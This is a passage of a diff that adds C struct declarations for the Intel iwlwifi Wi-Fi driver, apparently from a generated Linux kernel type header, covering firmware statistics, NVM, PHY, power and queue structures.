+ +struct statistics_general { + struct statistics_general_common common; + __le32 reserved2; + __le32 reserved3; +}; + +struct iwl_notif_statistics { + __le32 flag; + struct statistics_rx rx; + struct statistics_tx tx; + struct statistics_general general; +}; + +struct mvm_statistics_tx_non_phy { + __le32 bt_prio_defer_cnt; + __le32 bt_prio_kill_cnt; + __le32 few_bytes_cnt; + __le32 cts_timeout; + __le32 ack_timeout; + __le32 dump_msdu_cnt; + __le32 burst_abort_next_frame_mismatch_cnt; + __le32 burst_abort_missing_next_frame_cnt; + __le32 cts_timeout_collision; + __le32 ack_or_ba_timeout_collision; +}; + +struct mvm_statistics_tx_non_phy_agg { + __le32 ba_timeout; + __le32 ba_reschedule_frames; + __le32 scd_query_agg_frame_cnt; + __le32 scd_query_no_agg; + __le32 scd_query_agg; + __le32 scd_query_mismatch; + __le32 frame_not_ready; + __le32 underrun; + __le32 bt_prio_kill; + __le32 rx_ba_rsp_cnt; + __s8 txpower[3]; + __s8 reserved; + __le32 reserved2; +}; + +struct mvm_statistics_tx_channel_width { + __le32 ext_cca_narrow_ch20[1]; + __le32 ext_cca_narrow_ch40[2]; + __le32 ext_cca_narrow_ch80[3]; + __le32 ext_cca_narrow_ch160[4]; + __le32 last_tx_ch_width_indx; + __le32 rx_detected_per_ch_width[4]; + __le32 success_per_ch_width[4]; + __le32 fail_per_ch_width[4]; +}; + +struct mvm_statistics_tx { + struct mvm_statistics_tx_non_phy general; + struct mvm_statistics_tx_non_phy_agg agg; + struct mvm_statistics_tx_channel_width channel_width; +}; + +struct mvm_statistics_dbg { + __le32 burst_check; + __le32 burst_count; + __le32 wait_for_silence_timeout_cnt; + u8 reserved[12]; +}; + +struct mvm_statistics_div { + __le32 tx_on_a; + __le32 tx_on_b; + __le32 exec_time; + __le32 probe_time; + __le32 rssi_ant; + __le32 reserved2; +}; + +struct mvm_statistics_bt_activity { + __le32 hi_priority_tx_req_cnt; + __le32 hi_priority_tx_denied_cnt; + __le32 lo_priority_tx_req_cnt; + __le32 lo_priority_tx_denied_cnt; + __le32 hi_priority_rx_req_cnt; + __le32 hi_priority_rx_denied_cnt; + __le32 lo_priority_rx_req_cnt; + __le32 lo_priority_rx_denied_cnt; +}; + +struct mvm_statistics_general_common { + __le32 radio_temperature; + struct mvm_statistics_dbg dbg; + __le32 sleep_time; + __le32 slots_out; + __le32 slots_idle; + __le32 ttl_timestamp; + struct mvm_statistics_div slow_div; + __le32 rx_enable_counter; + __le32 num_of_sos_states; + __le32 beacon_filtered; + __le32 missed_beacons; + u8 beacon_filter_average_energy; + u8 beacon_filter_reason; + u8 beacon_filter_current_energy; + u8 beacon_filter_reserved; + __le32 beacon_filter_delta_time; + struct mvm_statistics_bt_activity bt_activity; + __le64 rx_time; + __le64 on_time_rf; + __le64 on_time_scan; + __le64 tx_time; +} __attribute__((packed)); + +struct mvm_statistics_general { + struct mvm_statistics_general_common common; + __le32 beacon_counter[4]; + u8 beacon_average_energy[4]; + u8 reserved[4]; +}; + +struct mvm_statistics_load { + __le32 air_time[4]; + __le32 byte_count[4]; + __le32 pkt_count[4]; + u8 avg_energy[16]; +}; + +struct iwl_notif_statistics___2 { + __le32 flag; + struct mvm_statistics_rx rx; + struct mvm_statistics_tx tx; + struct mvm_statistics_general general; + struct mvm_statistics_load load_stats; +}; + +struct mvm_statistics_tx_non_phy_v3 { + __le32 preamble_cnt; + __le32 rx_detected_cnt; + __le32 bt_prio_defer_cnt; + __le32 bt_prio_kill_cnt; + __le32 few_bytes_cnt; + __le32 cts_timeout; + __le32 ack_timeout; + __le32 expected_ack_cnt; + __le32 actual_ack_cnt; + __le32 dump_msdu_cnt; + __le32 burst_abort_next_frame_mismatch_cnt; + __le32 burst_abort_missing_next_frame_cnt; + __le32 cts_timeout_collision; + __le32 ack_or_ba_timeout_collision; +}; + +struct mvm_statistics_tx_v4 { + struct mvm_statistics_tx_non_phy_v3 general; + struct mvm_statistics_tx_non_phy_agg agg; + struct mvm_statistics_tx_channel_width channel_width; +}; + +struct mvm_statistics_general_common_v19 { + __le32 radio_temperature; + __le32 radio_voltage; + struct mvm_statistics_dbg dbg; + __le32 sleep_time; + __le32 slots_out; + __le32 slots_idle; + __le32 ttl_timestamp; + struct mvm_statistics_div slow_div; + __le32 rx_enable_counter; + __le32 num_of_sos_states; + __le32 beacon_filtered; + __le32 missed_beacons; + u8 beacon_filter_average_energy; + u8 beacon_filter_reason; + u8 beacon_filter_current_energy; + u8 beacon_filter_reserved; + __le32 beacon_filter_delta_time; + struct mvm_statistics_bt_activity bt_activity; + __le64 rx_time; + __le64 on_time_rf; + __le64 on_time_scan; + __le64 tx_time; +}; + +struct mvm_statistics_general_v8 { + struct mvm_statistics_general_common_v19 common; + __le32 beacon_counter[5]; + u8 beacon_average_energy[5]; + u8 reserved[3]; +} __attribute__((packed)); + +struct mvm_statistics_load_v1 { + __le32 air_time[5]; + __le32 byte_count[5]; + __le32 pkt_count[5]; + u8 avg_energy[16]; +}; + +struct iwl_notif_statistics_v11 { + __le32 flag; + struct mvm_statistics_rx_v3 rx; + struct mvm_statistics_tx_v4 tx; + struct mvm_statistics_general_v8 general; + struct mvm_statistics_load_v1 load_stats; +}; + +struct iwl_notification_wait { + struct list_head list; + bool (*fn)(struct iwl_notif_wait_data *, struct iwl_rx_packet *, void *); + void *fn_data; + u16 cmds[5]; + u8 n_cmds; + bool triggered; + bool aborted; +}; + +struct iwl_ns_config { + struct in6_addr source_ipv6_addr; + struct in6_addr dest_ipv6_addr; + u8 target_mac_addr[6]; + __le16 reserved; +}; + +struct iwl_nvm_access_cmd { + u8 op_code; + u8 target; + __le16 type; + __le16 offset; + __le16 length; + u8 data[0]; +}; + +struct iwl_nvm_access_complete_cmd { + __le32 reserved; +}; + +struct iwl_nvm_access_resp { + __le16 offset; + __le16 length; + __le16 type; + __le16 status; + u8 data[0]; +}; + +struct iwl_nvm_data { + int n_hw_addrs; + u8 hw_addr[6]; + u8 calib_version; + __le16 calib_voltage; + __le16 raw_temperature; + __le16 kelvin_temperature; + __le16 kelvin_voltage; + __le16 xtal_calib[2]; + bool sku_cap_band_24ghz_enable; + bool sku_cap_band_52ghz_enable; + bool sku_cap_11n_enable; + bool sku_cap_11ac_enable; + bool sku_cap_11ax_enable; + bool sku_cap_amt_enable; + bool sku_cap_ipan_enable; + bool sku_cap_mimo_disabled; + bool sku_cap_11be_enable; + u16 radio_cfg_type; + u8 radio_cfg_step; + u8 radio_cfg_dash; + u8 radio_cfg_pnum; + u8 valid_tx_ant; + u8 valid_rx_ant; + u32 nvm_version; + s8 max_tx_pwr_half_dbm; + bool lar_enabled; + bool vht160_supported; + struct ieee80211_supported_band bands[6]; + struct { + struct ieee80211_sband_iftype_data low[2]; + struct ieee80211_sband_iftype_data high[2]; + struct ieee80211_sband_iftype_data uhb[2]; + } iftd; + struct ieee80211_channel channels[0]; +}; + +struct iwl_nvm_get_info { + __le32 reserved; +}; + +struct iwl_nvm_get_info_general { + __le32 flags; + __le16 nvm_version; + u8 board_type; + u8 n_hw_addrs; +}; + +struct iwl_nvm_get_info_phy { + __le32 tx_chains; + __le32 rx_chains; +}; + +struct iwl_nvm_get_info_regulatory { + __le32 lar_enabled; + __le32 n_channels; + __le32 channel_profile[110]; +}; + +struct iwl_nvm_get_info_regulatory_v1 { + __le32 lar_enabled; + __le16 channel_profile[51]; + __le16 reserved; +}; + +struct iwl_nvm_get_info_sku { + __le32 mac_sku_flags; +}; + +struct iwl_nvm_get_info_rsp { + struct iwl_nvm_get_info_general general; + struct iwl_nvm_get_info_sku mac_sku; + struct iwl_nvm_get_info_phy phy_sku; + struct iwl_nvm_get_info_regulatory regulatory; +}; + +struct iwl_nvm_get_info_rsp_v3 { + struct iwl_nvm_get_info_general general; + struct iwl_nvm_get_info_sku mac_sku; + struct iwl_nvm_get_info_phy phy_sku; + struct iwl_nvm_get_info_regulatory_v1 regulatory; +}; + +struct iwl_op_mode_ops; + +struct iwl_op_mode { + const struct iwl_op_mode_ops *ops; + char op_mode_specific[0]; +}; + +struct iwl_op_mode_ops { + struct iwl_op_mode * (*start)(struct iwl_trans *, const struct iwl_cfg *, const struct iwl_fw *, struct dentry *); + void (*stop)(struct iwl_op_mode *); + void (*rx)(struct iwl_op_mode *, struct napi_struct *, struct iwl_rx_cmd_buffer *); + void (*rx_rss)(struct iwl_op_mode *, struct napi_struct *, struct iwl_rx_cmd_buffer *, unsigned int); + void (*queue_full)(struct iwl_op_mode *, int); + void (*queue_not_full)(struct iwl_op_mode *, int); + bool (*hw_rf_kill)(struct iwl_op_mode *, bool); + void (*free_skb)(struct iwl_op_mode *, struct sk_buff *); + void (*nic_error)(struct iwl_op_mode *, bool); + void (*cmd_queue_full)(struct iwl_op_mode *); + void (*nic_config)(struct iwl_op_mode *); + void (*wimax_active)(struct iwl_op_mode *); + void (*time_point)(struct iwl_op_mode *, enum iwl_fw_ini_time_point, union iwl_dbg_tlv_tp_data *); + void (*device_powered_off)(struct iwl_op_mode *); +}; + +struct iwl_p1k_cache { + __le16 p1k[5]; +}; + +struct iwl_p2p_noa_attr { + u8 id; + u8 len_low; + u8 len_high; + u8 idx; + u8 ctwin; + struct ieee80211_p2p_noa_desc desc[2]; + u8 reserved; +}; + +struct iwl_pc_data { + u8 pc_name[32]; + u32 pc_address; +}; + +struct iwl_pcie_first_tb_buf { + u8 buf[64]; +}; + +struct iwl_pcie_txq_entry { + void *cmd; + struct sk_buff *skb; + const void *free_buf; + struct iwl_cmd_meta meta; +}; + +struct iwl_txq; + +struct iwl_tso_hdr_page; + +struct iwl_pcie_txqs { + unsigned long queue_used[8]; + unsigned long queue_stopped[8]; + struct iwl_txq *txq[512]; + struct dma_pool *bc_pool; + size_t bc_tbl_size; + bool bc_table_dword; + u8 page_offs; + u8 dev_cmd_offs; + struct iwl_tso_hdr_page __attribute__((btf_type_tag("percpu"))) *tso_hdr_page; + struct { + u8 fifo; + u8 q_id; + unsigned int wdg_timeout; + } cmd; + struct { + u8 max_tbs; + u16 size; + u8 addr_size; + } tfd; + struct iwl_dma_ptr scd_bc_tbls; + u8 queue_alloc_cmd_ver; +}; + +struct iwl_periodic_scan_complete { + u8 last_schedule_line; + u8 last_schedule_iteration; + u8 status; + u8 ebs_status; + __le32 time_after_last_iter; + __le32 reserved; +}; + +struct iwl_phy_cfg_cmd_v3 { + __le32 phy_cfg; + struct iwl_calib_ctrl calib_control; + struct iwl_phy_specific_cfg phy_specific_cfg; +}; + +struct iwl_phy_context_cmd { + __le32 id_and_color; + __le32 action; + struct iwl_fw_channel_info ci; + __le32 lmac_id; + union { + __le32 rxchain_info; + struct { + u8 sbb_bandwidth; + u8 sbb_ctrl_channel_loc; + __le16 puncture_mask; + }; + }; + __le32 dsp_cfg_flags; + __le32 reserved; +}; + +struct iwl_phy_context_cmd_tail { + __le32 txchain_info; + __le32 rxchain_info; + __le32 acquisition_data; + __le32 dsp_cfg_flags; +}; + +struct iwl_phy_context_cmd_v1 { + __le32 id_and_color; + __le32 action; + __le32 apply_time; + __le32 tx_param_color; + struct iwl_fw_channel_info ci; + struct iwl_phy_context_cmd_tail tail; +}; + +struct iwl_phy_db_entry { + u16 size; + u8 *data; +}; + +struct iwl_phy_db { + struct iwl_phy_db_entry cfg; + struct iwl_phy_db_entry calib_nch; + int n_group_papd; + struct iwl_phy_db_entry *calib_ch_group_papd; + int n_group_txp; + struct iwl_phy_db_entry *calib_ch_group_txp; + struct iwl_trans *trans; +}; + +struct iwl_phy_db_cmd { + __le16 type; + __le16 length; + u8 data[0]; +}; + +struct iwl_pnvm_image { + struct { + const void *data; + u32 len; + } chunks[64]; + u32 n_chunks; + u32 version; +}; + +struct iwl_pnvm_init_complete_ntfy { + __le32 status; +}; + +struct iwl_pnvm_section { + __le32 offset; + const u8 data[0]; +}; + +struct iwl_powertable_cmd { + __le16 flags; + u8 keep_alive_seconds; + u8 debug_flags; + __le32 rx_data_timeout; + __le32 tx_data_timeout; + __le32 sleep_interval[5]; + __le32 keep_alive_beacons; +}; + +struct iwl_power_mgr { + struct iwl_powertable_cmd sleep_cmd; + struct iwl_powertable_cmd sleep_cmd_next; + int debug_sleep_level_override; + bool bus_pm; +}; + +struct iwl_power_vec_entry { + struct iwl_powertable_cmd cmd; + u8 no_dtim; +} __attribute__((packed)); + +struct iwl_power_vifs { + struct iwl_mvm *mvm; + struct ieee80211_vif *bss_vif; + struct ieee80211_vif *p2p_vif; + struct ieee80211_vif *ap_vif; + struct ieee80211_vif *monitor_vif; + bool p2p_active; + bool bss_active; + bool ap_active; + bool monitor_active; +}; + +union iwl_ppag_table_cmd { + struct { + __le32 flags; + s8 gain[10]; + s8 reserved[2]; + } v1; + struct { + __le32 flags; + s8 gain[22]; + s8 reserved[2]; + } v2; +}; + +struct iwl_spectrum_notification { + u8 id; + u8 token; + u8 channel_index; + u8 state; + __le32 start_time; + u8 band; + u8 channel; + u8 type; + u8 reserved1; + __le32 cca_ofdm; + __le32 cca_cck; + __le32 cca_time; + u8 basic_type; + u8 reserved2[3]; + struct iwl_measurement_histogram histogram; + __le32 stop_time; + __le32 status; +}; + +struct iwl_rf_reset { + int reset_request_count; + int reset_success_count; + int reset_reject_count; + unsigned long last_reset_jiffies; +}; + +struct iwl_rxon_cmd { + u8 node_addr[6]; + __le16 reserved1; + u8 bssid_addr[6]; + __le16 reserved2; + u8 wlap_bssid_addr[6]; + __le16 reserved3; + u8 dev_type; + u8 air_propagation; + __le16 rx_chain; + u8 ofdm_basic_rates; + u8 cck_basic_rates; + __le16 assoc_id; + __le32 flags; + __le32 filter_flags; + __le16 channel; + u8 ofdm_ht_single_stream_basic_rates; + u8 ofdm_ht_dual_stream_basic_rates; + u8 ofdm_ht_triple_stream_basic_rates; + u8 reserved5; + __le16 acquisition_data; + __le16 reserved6; +} __attribute__((packed)); + +struct iwl_rxon_time_cmd { + __le64 timestamp; + __le16 beacon_interval; + __le16 atim_window; + __le32 beacon_init_val; + __le16 listen_interval; + u8 dtim_period; + u8 delta_cp_bss_tbtts; +} __attribute__((packed)); + +struct iwl_qosparam_cmd { + __le32 qos_flags; + struct iwl_ac_qos___2 ac[4]; +}; + +struct iwl_qos_info { + int qos_active; + struct iwl_qosparam_cmd def_qos_parm; +}; + +struct iwl_wep_key { + u8 key_index; + u8 key_offset; + u8 reserved1[2]; + u8 key_size; + u8 reserved2[3]; + u8 key[16]; +}; + +struct iwl_rxon_context { + struct ieee80211_vif *vif; + u8 mcast_queue; + u8 ac_to_queue[4]; + u8 ac_to_fifo[4]; + bool always_active; + bool is_active; + bool ht_need_multiple_chains; + enum iwl_rxon_context_id ctxid; + u32 interface_modes; + u32 exclusive_interface_modes; + u8 unused_devtype; + u8 ap_devtype; + u8 ibss_devtype; + u8 station_devtype; + const struct iwl_rxon_cmd active; + struct iwl_rxon_cmd staging; + struct iwl_rxon_time_cmd timing; + struct iwl_qos_info qos_data; + u8 bcast_sta_id; + u8 ap_sta_id; + u8 rxon_cmd; + u8 rxon_assoc_cmd; + u8 rxon_timing_cmd; + u8 qos_cmd; + u8 wep_key_cmd; + struct iwl_wep_key wep_keys[4]; + u8 key_mapping_keys; + __le32 station_flags; + int beacon_int; + struct { + bool non_gf_sta_present; + u8 protection; + bool enabled; + bool is_40mhz; + u8 extension_chan_offset; + } ht; +}; + +struct iwl_sensitivity_data { + u32 auto_corr_ofdm; + u32 auto_corr_ofdm_mrc; + u32 auto_corr_ofdm_x1; + u32 auto_corr_ofdm_mrc_x1; + u32 auto_corr_cck; + u32 auto_corr_cck_mrc; + u32 last_bad_plcp_cnt_ofdm; + u32 last_fa_cnt_ofdm; + u32 last_bad_plcp_cnt_cck; + u32 last_fa_cnt_cck; + u32 nrg_curr_state; + u32 nrg_prev_state; + u32 nrg_value[10]; + u8 nrg_silence_rssi[20]; + u32 nrg_silence_ref; + u32 nrg_energy_idx; + u32 nrg_silence_idx; + u32 nrg_th_cck; + s32 nrg_auto_corr_silence_diff; + u32 num_in_cck_no_fa; + u32 nrg_th_ofdm; + u16 barker_corr_th_min; + u16 barker_corr_th_min_mrc; + u16 nrg_th_cca; +}; + +struct iwl_tt_restriction; + +struct iwl_tt_trans; + +struct iwl_tt_mgmt { + enum iwl_tt_state state; + bool advanced_tt; + u8 tt_power_mode; + bool ct_kill_toggle; + struct iwl_tt_restriction *restriction; + struct iwl_tt_trans *transaction; + struct timer_list ct_kill_exit_tm; + struct timer_list ct_kill_waiting_tm; +}; + +struct iwl_station_entry { + struct iwl_addsta_cmd sta; + u8 used; + u8 ctxid; + struct iwl_link_quality_cmd *lq; +}; + +struct iwl_tid_data { + u16 seq_number; + u16 next_reclaimed; + struct iwl_ht_agg agg; +}; + +struct iwl_rx_phy_res { + u8 non_cfg_phy_cnt; + u8 cfg_phy_cnt; + u8 stat_id; + u8 reserved1; + __le64 timestamp; + __le32 beacon_time_stamp; + __le16 phy_flags; + __le16 channel; + u8 non_cfg_phy_buf[32]; + __le32 rate_n_flags; + __le16 byte_count; + __le16 frame_time; +} __attribute__((packed)); + +struct reply_tx_error_statistics { + u32 pp_delay; + u32 pp_few_bytes; + u32 pp_bt_prio; + u32 pp_quiet_period; + u32 pp_calc_ttak; + u32 int_crossed_retry; + u32 short_limit; + u32 long_limit; + u32 fifo_underrun; + u32 drain_flow; + u32 rfkill_flush; + u32 life_expire; + u32 dest_ps; + u32 host_abort; + u32 bt_retry; + u32 sta_invalid; + u32 frag_drop; + u32 tid_disable; + u32 fifo_flush; + u32 insuff_cf_poll; + u32 fail_hw_drop; + u32 sta_color_mismatch; + u32 unknown; +}; + +struct reply_agg_tx_error_statistics { + u32 underrun; + u32 bt_prio; + u32 few_bytes; + u32 abort; + u32 last_sent_ttl; + u32 last_sent_try; + u32 last_sent_bt_kill; + u32 scd_query; + u32 bad_crc32; + u32 response; + u32 dump_tx; + u32 delay_tx; + u32 unknown; +}; + +struct iwl_wipan_noa_data; + +struct iwl_priv { + struct iwl_trans *trans; + struct device *dev; + const struct iwl_cfg *cfg; + const struct iwl_fw *fw; + const struct iwl_dvm_cfg *lib; + unsigned long status; + spinlock_t sta_lock; + struct mutex mutex; + unsigned long transport_queue_stop; + bool passive_no_rx; + u8 queue_to_mac80211[32]; + atomic_t queue_stop_count[32]; + unsigned long agg_q_alloc[1]; + struct ieee80211_hw *hw; + struct napi_struct *napi; + struct list_head calib_results; + struct workqueue_struct *workqueue; + struct iwl_hw_params hw_params; + enum nl80211_band band; + u8 valid_contexts; + void (*rx_handlers[255])(struct iwl_priv *, struct iwl_rx_cmd_buffer *); + struct iwl_notif_wait_data notif_wait; + struct iwl_spectrum_notification measure_report; + u8 measurement_status; + u32 ucode_beacon_time; + int missed_beacon_threshold; + u32 ibss_manager; + unsigned long rx_statistics_jiffies; + u32 rx_handlers_stats[255]; + struct iwl_rf_reset rf_reset; + unsigned long reload_jiffies; + int reload_count; + bool ucode_loaded; + u8 plcp_delta_threshold; + s32 temperature; + s32 last_temperature; + struct iwl_wipan_noa_data __attribute__((btf_type_tag("rcu"))) *noa_data; + unsigned long scan_start; + unsigned long scan_start_tsf; + size_t scan_cmd_size; + void *scan_cmd; + enum nl80211_band scan_band; + struct cfg80211_scan_request *scan_request; + struct ieee80211_vif *scan_vif; + enum iwl_scan_type scan_type; + u8 scan_tx_ant[6]; + u8 mgmt_tx_ant; + u8 sta_key_max_num; + bool new_scan_threshold_behaviour; + bool wowlan; + struct mac_address addresses[2]; + struct iwl_rxon_context contexts[2]; + __le16 switch_channel; + u8 start_calib; + struct iwl_sensitivity_data sensitivity_data; + struct iwl_chain_noise_data chain_noise_data; + __le16 sensitivity_tbl[11]; + __le16 enhance_sensitivity_tbl[12]; + struct iwl_ht_config current_ht_config; + u8 retry_rate; + int activity_timer_active; + struct iwl_power_mgr power_data; + struct iwl_tt_mgmt thermal_throttle; + int num_stations; + struct iwl_station_entry stations[16]; + unsigned long ucode_key_table; + struct iwl_tid_data tid_data[128]; + atomic_t num_aux_in_flight; + u8 mac80211_registered; + u8 is_open; + enum nl80211_iftype iw_mode; + u64 timestamp; + struct { + __le32 flag; + struct statistics_general_common common; + struct statistics_rx_non_phy rx_non_phy; + struct statistics_rx_phy rx_ofdm; + struct statistics_rx_ht_phy rx_ofdm_ht; + struct statistics_rx_phy rx_cck; + struct statistics_tx tx; + spinlock_t lock; + } statistics; + u8 agg_tids_count; + struct iwl_rx_phy_res last_phy_res; + u32 ampdu_ref; + bool last_phy_res_valid; + u8 phy_calib_chain_noise_reset_cmd; + u8 phy_calib_chain_noise_gain_cmd; + struct reply_tx_error_statistics reply_tx_stats; + struct reply_agg_tx_error_statistics reply_agg_tx_stats; + u8 bt_enable_flag; + u8 bt_status; + u8 bt_traffic_load; + u8 last_bt_traffic_load; + bool bt_ch_announce; + bool bt_full_concurrent; + __le32 kill_ack_mask; + __le32 kill_cts_mask; + __le16 bt_valid; + bool reduced_txpower; + u16 bt_on_thresh; + u16 bt_duration; + u16 dynamic_frag_thresh; + u8 bt_ci_compliance; + struct work_struct bt_traffic_change_work; + bool bt_enable_pspoll; + struct iwl_rxon_context *cur_rssi_ctx; + bool bt_is_sco; + struct work_struct restart; + struct work_struct scan_completed; + struct work_struct abort_scan; + struct work_struct beacon_update; + struct iwl_rxon_context *beacon_ctx; + struct sk_buff *beacon_skb; + void *beacon_cmd; + struct work_struct tt_work; + struct work_struct ct_enter; + struct work_struct ct_exit; + struct work_struct start_internal_scan; + struct work_struct tx_flush; + struct work_struct bt_full_concurrency; + struct work_struct bt_runtime_config; + struct delayed_work scan_check; + s8 tx_power_user_lmt; + s8 tx_power_next; + struct iwl_nvm_data *nvm_data; + u8 *eeprom_blob; + size_t eeprom_blob_size; + struct work_struct txpower_work; + u32 calib_disabled; + struct work_struct run_time_calib_work; + struct timer_list statistics_periodic; + struct timer_list ucode_trace; + struct iwl_event_log event_log; + u8 kck[16]; + u8 kek[16]; + __le64 replay_ctr; + __le16 last_seq_ctl; + bool have_rekey_data; + struct wiphy_wowlan_support wowlan_support; + struct { + u32 error_event_table; + u32 log_event_table; + } device_pointers; + enum iwl_ucode_type cur_ucode; +}; + +struct iwl_probe_resp_data_notif { + __le32 mac_id; + __le32 noa_active; + struct iwl_p2p_noa_attr noa_attr; + u8 csa_counter; + u8 reserved[3]; +}; + +struct iwl_probe_resp_data { + struct callback_head callback_head; + struct iwl_probe_resp_data_notif notif; + int noa_len; +}; + +struct iwl_proto_offload_cmd_common { + __le32 enabled; + __be32 remote_ipv4_addr; + __be32 host_ipv4_addr; + u8 arp_mac_addr[6]; + __le16 reserved; +}; + +struct iwl_proto_offload_cmd_v1 { + struct iwl_proto_offload_cmd_common common; + u8 remote_ipv6_addr[16]; + u8 solicited_node_ipv6_addr[16]; + u8 target_ipv6_addr[32]; + u8 ndp_mac_addr[6]; + __le16 reserved2; +}; + +struct iwl_proto_offload_cmd_v2 { + struct iwl_proto_offload_cmd_common common; + u8 remote_ipv6_addr[16]; + u8 solicited_node_ipv6_addr[16]; + u8 target_ipv6_addr[96]; + u8 ndp_mac_addr[6]; + u8 num_valid_ipv6_addrs; + u8 reserved2[3]; +} __attribute__((packed)); + +struct iwl_targ_addr { + struct in6_addr addr; + __le32 config_num; +}; + +struct iwl_proto_offload_cmd_v3_small { + struct iwl_proto_offload_cmd_common common; + __le32 num_valid_ipv6_addrs; + struct iwl_targ_addr targ_addrs[4]; + struct iwl_ns_config ns_config[2]; +}; + +struct iwl_proto_offload_cmd_v4 { + __le32 sta_id; + struct iwl_proto_offload_cmd_common common; + __le32 num_valid_ipv6_addrs; + struct iwl_targ_addr targ_addrs[12]; + struct iwl_ns_config ns_config[4]; +}; + +struct iwl_prph_info { + __le32 boot_stage_mirror; + __le32 ipc_status_mirror; + __le32 sleep_notif; + __le32 reserved; +}; + +struct iwl_prph_range { + u32 start; + u32 end; +}; + +struct iwl_prph_scratch_version { + __le16 mac_id; + __le16 version; + __le16 size; + __le16 reserved; +}; + +struct iwl_prph_scratch_control { + __le32 control_flags; + __le32 reserved; +}; + +struct iwl_prph_scratch_pnvm_cfg { + __le64 pnvm_base_addr; + __le32 pnvm_size; + __le32 reserved; +}; + +struct iwl_prph_scratch_hwm_cfg { + __le64 hwm_base_addr; + __le32 hwm_size; + __le32 debug_token_config; +}; + +struct iwl_prph_scratch_rbd_cfg { + __le64 free_rbd_addr; + __le32 reserved; +} __attribute__((packed)); + +struct iwl_prph_scratch_uefi_cfg { + __le64 base_addr; + __le32 size; + __le32 reserved; +}; + +struct iwl_prph_scratch_step_cfg { + __le32 mbx_addr_0; + __le32 mbx_addr_1; +}; + +struct iwl_prph_scratch_ctrl_cfg { + struct iwl_prph_scratch_version version; + struct iwl_prph_scratch_control control; + struct iwl_prph_scratch_pnvm_cfg pnvm_cfg; + struct iwl_prph_scratch_hwm_cfg hwm_cfg; + struct iwl_prph_scratch_rbd_cfg rbd_cfg; + struct iwl_prph_scratch_uefi_cfg reduce_power_cfg; + struct iwl_prph_scratch_step_cfg step_cfg; +} __attribute__((packed)); + +struct iwl_prph_scratch { + struct iwl_prph_scratch_ctrl_cfg ctrl_cfg; + __le32 fseq_override; + __le32 step_analog_params; + __le32 reserved[8]; + struct iwl_context_info_dram dram; +} __attribute__((packed)); + +struct iwl_prph_scrath_mem_desc_addr_array { + __le64 mem_descs[64]; +}; + +struct iwl_pwr_tx_backoff { + u32 pwr; + u32 backoff; +}; + +struct iwl_rate_info { + u8 plcp; + u8 plcp_siso; + u8 plcp_mimo2; + u8 plcp_mimo3; + u8 ieee; + u8 prev_ieee; + u8 next_ieee; + u8 prev_rs; + u8 next_rs; + u8 prev_rs_tgg; + u8 next_rs_tgg; +}; + +struct iwl_rate_mcs_info { + char mbps[12]; + char mcs[12]; +}; + +struct iwl_rb_allocator { + atomic_t req_pending; + atomic_t req_ready; + struct list_head rbd_allocated; + struct list_head rbd_empty; + spinlock_t lock; + struct workqueue_struct *alloc_wq; + struct work_struct rx_alloc; +}; + +struct iwl_rb_status { + __le16 closed_rb_num; + __le16 closed_fr_num; + __le16 finished_rb_num; + __le16 finished_fr_num; + __le32 __spare; +}; + +struct iwl_rcm_error_event_table { + u32 valid; + u32 error_id; + u32 blink2; + u32 ilink1; + u32 ilink2; + u32 data1; + u32 data2; + u32 data3; + u32 logpc; + u32 frame_pointer; + u32 stack_pointer; + u32 msgid; + u32 isr; + u32 frame_hw_status; + u32 mbx_lmac_to_rcm_req; + u32 mbx_rcm_to_lmac_req; + u32 mh_ctl; + u32 mh_addr1_lo; + u32 mh_info; + u32 mh_err; + u32 reserved[3]; +}; + +struct iwl_reg_capa { + bool allow_40mhz; + bool allow_80mhz; + bool allow_160mhz; + bool allow_320mhz; + bool disable_11ax; + bool disable_11be; +}; + +struct iwl_rem_sta_cmd { + u8 num_sta; + u8 reserved[3]; + u8 addr[6]; + u8 reserved2[2]; +}; + +struct iwl_rem_sta_resp { + u8 status; +}; + +struct iwl_remove_sta_cmd { + __le32 sta_id; +}; + +struct iwlagn_wowlan_status; + +struct iwl_resume_data { + struct iwl_priv *priv; + struct iwlagn_wowlan_status *cmd; + bool valid; +}; + +struct iwl_rfh_queue_data { + u8 q_num; + u8 enable; + __le16 reserved; + __le64 urbd_stts_wrptr; + __le64 fr_bd_cb; + __le64 ur_bd_cb; + __le32 fr_bd_wid; +} __attribute__((packed)); + +struct iwl_rfh_queue_config { + u8 num_queues; + u8 reserved[3]; + struct iwl_rfh_queue_data data[0]; +}; + +struct iwl_rfi_lut_entry { + __le16 freq; + u8 channels[15]; + u8 bands[15]; +}; + +struct iwl_rfi_config_cmd { + struct iwl_rfi_lut_entry table[24]; + u8 oem; + u8 reserved[3]; +}; + +struct iwl_rfi_deactivate_notif { + __le32 reason; +}; + +struct iwl_rfi_freq_table_resp_cmd { + struct iwl_rfi_lut_entry table[4]; + __le32 status; +}; + +struct iwl_rlc_properties { + __le32 rx_chain_info; + __le32 reserved; +}; + +struct iwl_sad_properties { + __le32 chain_a_sad_mode; + __le32 chain_b_sad_mode; + __le32 mac_id; + __le32 reserved; +}; + +struct iwl_rlc_config_cmd { + __le32 phy_id; + struct iwl_rlc_properties rlc; + struct iwl_sad_properties sad; + u8 flags; + u8 reserved[3]; +}; + +struct iwl_roc_notif { + __le32 success; + __le32 started; + __le32 activity; +}; + +struct iwl_roc_req { + __le32 action; + __le32 activity; + __le32 sta_id; + struct iwl_fw_channel_info channel_info; + u8 node_addr[6]; + __le16 reserved; + __le32 max_delay; + __le32 duration; +}; + +struct iwl_rs_rate_info { + u8 plcp; + u8 plcp_ht_siso; + u8 plcp_ht_mimo2; + u8 plcp_vht_siso; + u8 plcp_vht_mimo2; + u8 prev_rs; + u8 next_rs; +}; + +struct iwl_rss_config_cmd { + __le32 flags; + u8 hash_mask; + u8 reserved[3]; + __le32 secret_key[10]; + u8 indirection_table[128]; +}; + +struct iwl_rx_baid_cfg_cmd_alloc { + __le32 sta_id_mask; + u8 tid; + u8 reserved[3]; + __le16 ssn; + __le16 win_size; +}; + +struct iwl_rx_baid_cfg_cmd_modify { + __le32 old_sta_id_mask; + __le32 new_sta_id_mask; + __le32 tid; +}; + +struct iwl_rx_baid_cfg_cmd_remove_v1 { + __le32 baid; +}; + +struct iwl_rx_baid_cfg_cmd_remove { + __le32 sta_id_mask; + __le32 tid; +}; + +struct iwl_rx_baid_cfg_cmd { + __le32 action; + union { + struct iwl_rx_baid_cfg_cmd_alloc alloc; + struct iwl_rx_baid_cfg_cmd_modify modify; + struct iwl_rx_baid_cfg_cmd_remove_v1 remove_v1; + struct iwl_rx_baid_cfg_cmd_remove remove; + }; +}; + +struct iwl_rx_completion_desc { + __le32 reserved1; + __le16 rbid; + u8 flags; + u8 reserved2[25]; 